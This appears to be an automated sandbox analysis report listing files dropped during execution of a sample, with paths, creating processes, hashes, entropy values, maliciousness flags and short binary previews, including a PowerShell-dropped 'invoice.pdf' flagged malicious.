SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDu8xHXKdqEKfS8EKfM1baExHF:Tll2GL7msMcKTlS8fcsu8ifIEP
MD5:	73444A8A0CDE38E0ACA5FBE83C48A290
SHA1:	9C64B2F845D781954F7FCD6186FF9FF5D26D8023
SHA-256:	A12F5F0D0D56B73C432397EB952F9DE179F8DD993C829FC6CC2942D69F0B3190
SHA-512:	D2C148865A95776FAF283A60D7C05963F56196EADBA9625321BEB0E49928EA39B960B15945AD8AC5D8DCDEFC06CC3DD44B23D8DD5BCD2178B96383DC4955F611
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.844332556854385
Encrypted:	false
SSDEEP:	24:7+t4Z6bqyKn6ylSTofcNqDu8xH+KdqEKfS8EKfM1banbquKqLKufx/XYKQvGJF7x:7MGcKTlS8fcsu8XfIZKqGufl2GL7ms1
MD5:	76AEDA1B1B3226EA69DC910AFE19E538
SHA1:	8CEEEC5DD96F58B521418B0012840F9BC31634E2
SHA-256:	ABFEB13F8EE4547A0BD61B7A82C8B220AAD079D72F95D97F54E7710F0A18436D
SHA-512:	A165E712769E4C25E113C47131DBE4E8EF13D4AFABB22E79115C436850FC67DDF9324C16A0B0D40D1BB782B0CBBB20F8517E307DDB02647A33253AB17948F319
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgy3HnT/IV1pZiSH3w8lIp60HCeeaeYyu:6a6TZ44ADEy3HoZiow8E60CeeTK
MD5:	9ED7D18530C1EF69562CFC2460C33745
SHA1:	6CDADE85A549C789C6608F68BA7861B143C3D828
SHA-256:	9B125BD040D0CF96D596E70CFC0BD7B71442671F9F43C435A87ECCCF641E14CE
SHA-512:	0CC1C4D3C7E5B91056E7F128A237189B5CB836959F7106B9C6B4E14923681E5D4FA679C09E5F7D2EA373C413740160EF18ACBAEEF07591A8E4870DF52F442F31
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI7c32.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5020010357239357
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNCiYlYH:Qw946cPbiOxDlbYnuRK+bDrN3YlYH
MD5:	453C856AC282FBBA70AEFA2F9BBB0FD1
SHA1:	B999FA04F94224079586897CF8FD06B1488381ED
SHA-256:	D3C8FDC631F381C2CB6E990C113FBEE56C2378C35FA2FE5F8ECB539D710B5E18
SHA-512:	9C804232E8065D4CA56150A9020201C28DAADFBE43A4A7F2FA841601F816AA3DBDA5B8B6CFF8AB753A51D84452465935579538F0EE5B81648E6E4B016F0C81D0
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.3.0.:.1.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qj2vx3r2.w0n.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vzjqt2oi.pk0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91d6ufav_6d3c66_5ew.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9a9w5wo_6d3c63_5ew.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-30-04-354.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.351553677216646
Encrypted:	false
SSDEEP:	384:MOaPaarE1fgwaEPXfu4PmYSPHp20qTH/fc2CgcDAY+GpVb0G4Fw/5Y5UViwt3F3b:BFk1q6uYipA
MD5:	36D028288DD2F5B401FAF0AAF6D720DE
SHA1:	BBA350E2B424F63F32BF7B1DD78231C31BAF7D5C
SHA-256:	AE45AB54C8D819ECEB0C4B706B4F98EA75C09E5D6FA9219294FA2B5C23A011B2
SHA-512:	49114EEFAED2FED14AC0BF17A4864ED43027B549F24C469851EDBEE4C26158603A3C4FAA323AC7D03DF80DC62E9AE2B835FF2A500BB0E5BD534BCCD5CC083450
Malicious:	false
Preview:	SessionID=9cfa0ded-8838-4743-a608-d1fbbdde1e78.1736544604393 Timestamp=2025-01-10T16:30:04:393-0500 ThreadID=7536 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=9cfa0ded-8838-4743-a608-d1fbbdde1e78.1736544604393 Timestamp=2025-01-10T16:30:04:414-0500 ThreadID=7536 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=9cfa0ded-8838-4743-a608-d1fbbdde1e78.1736544604393 Timestamp=2025-01-10T16:30:04:414-0500 ThreadID=7536 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=9cfa0ded-8838-4743-a608-d1fbbdde1e78.1736544604393 Timestamp=2025-01-10T16:30:04:414-0500 ThreadID=7536 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=9cfa0ded-8838-4743-a608-d1fbbdde1e78.1736544604393 Timestamp=2025-01-10T16:30:04:414-0500 ThreadID=7536 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.376779857998378
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmJUcbCI4M1nb7238ZcbF8DomKf:8qnXopZ50rV94f
MD5:	130C68FEE346001DB4F5E5EEE8250531
SHA1:	DD034C8F68125B8500698040158E83A1D2B73CB9
SHA-256:	A4F32961ED1EC314089CA1ABC2CE05CCF083CB37DC2DB85A2AFC76DF42C3905F
SHA-512:	0722D53DA79BFE84AACCCA365C275080646FD9D37DAD9927AC32B89FDD5E6B41A5E87F8204879A6CBC7AEE1559AF3A0AAFB62AB347563CB39DABCC83076C8905
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3607cfb3-adf3-4757-8390-0e248bf5fc94.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\5e70fd33-2439-4335-b9cb-a7900d6dbdd6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c528765b-56c2-476f-ab9f-f5bc03422421.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\cb7d6736-0b1e-45df-9639-d8d47e4bea22.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
